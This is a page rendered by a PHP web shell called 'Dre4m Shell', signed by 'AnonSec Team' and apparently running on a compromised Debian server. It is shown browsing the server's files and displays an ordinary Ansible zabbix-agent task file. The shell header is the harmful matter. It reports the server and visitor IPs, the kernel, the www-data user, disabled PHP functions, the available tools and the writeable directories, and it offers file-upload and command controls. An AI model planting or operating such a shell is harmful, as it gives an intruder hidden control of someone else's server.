Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 3.129.210.36
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/ansible_collections/community/zabbix/roles/zabbix_agent/tasks/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /lib/python3/dist-packages/ansible_collections/community/zabbix/roles/zabbix_agent/tasks/Linux.yml
---

- name: "Set default ip address for zabbix_agent_ip"
  set_fact:
    zabbix_agent_ip: "{{ hostvars[inventory_hostname]['ansible_default_ipv4'].address }}"
  when:
    - zabbix_agent_ip is not defined
    - "'ansible_default_ipv4' in hostvars[inventory_hostname]"

- name: "Get Total Private IP Addresses"
  set_fact:
    total_private_ip_addresses: "{{ ansible_all_ipv4_addresses | ansible.utils.ipaddr('private') | length }}"
  when:
    - ansible_all_ipv4_addresses is defined
    - not (zabbix_agent_dont_detect_ip)

- name: "Set first public ip address for zabbix_agent_ip"
  set_fact:
    zabbix_agent_ip: "{{ ansible_all_ipv4_addresses | ansible.netcommon.ipaddr('public') | first }}"
    zabbix_agent_server: "{{ zabbix_agent_server_public_ip | default(zabbix_agent_server) }}"
    zabbix_agent_serveractive: "{{ zabbix_agent_serveractive_public_ip | default(zabbix_agent_serveractive) }}"
    zabbix_agent2_server: "{{ zabbix_agent_server_public_ip | default(zabbix_agent2_server) }}"
    zabbix_agent2_serveractive: "{{ zabbix_agent_serveractive_public_ip | default(zabbix_agent2_serveractive) }}"
  when:
    - zabbix_agent_ip is not defined
    - total_private_ip_addresses is defined
    - total_private_ip_addresses == '0'

- name: "Set first private ip address for zabbix_agent_ip"
  set_fact:
    zabbix_agent_ip: "{{ ansible_all_ipv4_addresses | ansible.netcommon.ipaddr('private') | first }}"
  when:
    - zabbix_agent_ip is not defined
    - total_private_ip_addresses is defined
    - total_private_ip_addresses != '0'

- name: "Fail invalid specified agent_listeninterface"
  fail:
    msg: "The specified network interface does not exist"
  when:
    - (zabbix_agent_listeninterface)
    - (zabbix_agent_listeninterface not in ansible_interfaces)
  tags:
    - zabbix-agent
    - config

- name: "Set network interface"
  set_fact:
    network_interface: ansible_{{ zabbix_agent_listeninterface }}
  when:
    - (zabbix_agent_listeninterface)
    - not zabbix_agent_listenip

- name: "Get IP of agent_listeninterface when no agent_listenip specified"
  set_fact:
    zabbix_agent_listenip: "{{ hostvars[inventory_hostname][network_interface]['ipv4'].address | default('0.0.0.0') }}"
  when:
    - (zabbix_agent_listeninterface)
    - not zabbix_agent_listenip
  tags:
    - zabbix-agent
    - config
    - api

- name: "Default agent_listenip to all when not specified"
  set_fact:
    zabbix_agent_listenip: '0.0.0.0'
  when:
    - not (zabbix_agent_listenip)
  tags:
    - zabbix-agent
    - config

- name: "Fail invalid specified agent_listenip"
  fail:
    msg: "The agent_listenip does not exist"
  when:
    - zabbix_agent_listenip != '0.0.0.0'
    - zabbix_agent_listenip != '127.0.0.1'
    - (zabbix_agent_listenip not in ansible_all_ipv4_addresses)
  tags:
    - zabbix-agent
    - config

- name: "Configure SELinux when enabled"
  include_tasks: selinux.yml
  when:
    - zabbix_selinux | bool

- name: "Adding zabbix group"
  group:
    name: zabbix
    state: present
    gid: "{{ zabbix_agent_docker_user_gid | default(omit) }}"
  become: true
  when:
    - zabbix_agent_docker | bool

- name: "Adding zabbix user"
  user:
    name: zabbix
    group: zabbix
    state: present
    create_home: false
    home: /etc/zabbix
    uid: "{{ zabbix_agent_docker_user_uid | default(omit) }}"
    system: true
  become: true
  when:
    - zabbix_agent_docker | bool

- name: "Configure zabbix-agent"
  template:
    src: "{{ 'zabbix_agentd.conf.j2' if not zabbix_agent2 else 'zabbix_agent2.conf.j2' }}"
    dest: "/etc/zabbix/{{ zabbix_agent_conf if not zabbix_agent2 else zabbix_agent2_conf }}"
    owner: root
    group: root
    mode: "{{ zabbix_agent_conf_mode }}"
  notify:
    - restart zabbix-agent
  become: true
  when:
    - not (zabbix_agent_docker | bool)
  tags:
    - zabbix-agent
    - config
    - init

- name: "Create directory for PSK file if not exist."
  file:
    path: "{{ zabbix_agent_tlspskfile | dirname }}"
    mode: 0755
    state: directory
  become: true
  when:
    - zabbix_agent_tlspskfile is defined
    - zabbix_agent_tlspskfile  # https://github.com/ansible-collections/community.zabbix/issues/680
    - not (zabbix_agent2 | bool)

- name: "Create directory for PSK file if not exist (zabbix-agent2)"
  file:
    path: "{{ zabbix_agent2_tlspskfile | dirname }}"
    mode: 0755
    state: directory
  become: true
  when:
    - zabbix_agent2_tlspskfile is defined
    - zabbix_agent2_tlspskfile  # https://github.com/ansible-collections/community.zabbix/issues/680
    - zabbix_agent2 | bool

- name: "Place TLS PSK File"
  copy:
    dest: "{{ zabbix_agent_tlspskfile }}"
    content: "{{ zabbix_agent_tlspsk_secret }}"
    owner: zabbix
    group: zabbix
    mode: 0400
  become: true
  when:
    - zabbix_agent_tlspskfile is defined
    - zabbix_agent_tlspskfile  # https://github.com/ansible-collections/community.zabbix/issues/680
    - zabbix_agent_tlspsk_secret is defined
    - not (zabbix_agent2 | bool)
  notify:
    - restart zabbix-agent

- name: "Place TLS PSK File (zabbix-agent2)"
  copy:
    dest: "{{ zabbix_agent2_tlspskfile }}"
    content: "{{ zabbix_agent2_tlspsk_secret }}"
    owner: zabbix
    group: zabbix
    mode: 0400
  become: true
  when:
    - zabbix_agent2_tlspskfile is defined
    - zabbix_agent2_tlspskfile  # https://github.com/ansible-collections/community.zabbix/issues/680
    - zabbix_agent2_tlspsk_secret is defined
    - zabbix_agent2 | bool
  notify:
    - restart zabbix-agent

- name: "Create include dir zabbix-agent"
  file:
    path: "{{ zabbix_agent_include if not zabbix_agent2 else zabbix_agent2_include }}"
    owner: root
    group: zabbix
    mode: "{{ zabbix_agent_include_mode if not zabbix_agent2 else zabbix_agent2_include_mode }}"
    state: directory
  become: true
  tags:
    - config
    - include

- name: "Install the Docker container"
  include_tasks: Docker.yml
  when:
    - zabbix_agent_docker | bool

- name: "Configure the firewall(d|iptables)"
  include_tasks: firewall.yml
  when:
    - (zabbix_agent_firewall_enable | bool) or (zabbix_agent_firewalld_enable | bool)

- name: "Remove zabbix-agent installation when zabbix-agent2 is used."
  include_tasks: remove.yml
  when:
    - zabbix_agent2 | bool
    - zabbix_agent_package_remove

- name: "Make sure the zabbix-agent service is running"
  service:
    name: "{{ zabbix_agent_service }}"
    state: started
    enabled: true
  become: true
  when:
    - not (zabbix_agent_docker | bool)
  tags:
    - init
    - service

- name: "Give zabbix-agent access to system.hw.chassis info"
  file:
    path: /sys/firmware/dmi/tables/DMI
    owner: root
    group: zabbix
  when: zabbix_agent_chassis | bool

Anon7 - 2022
AnonSec Team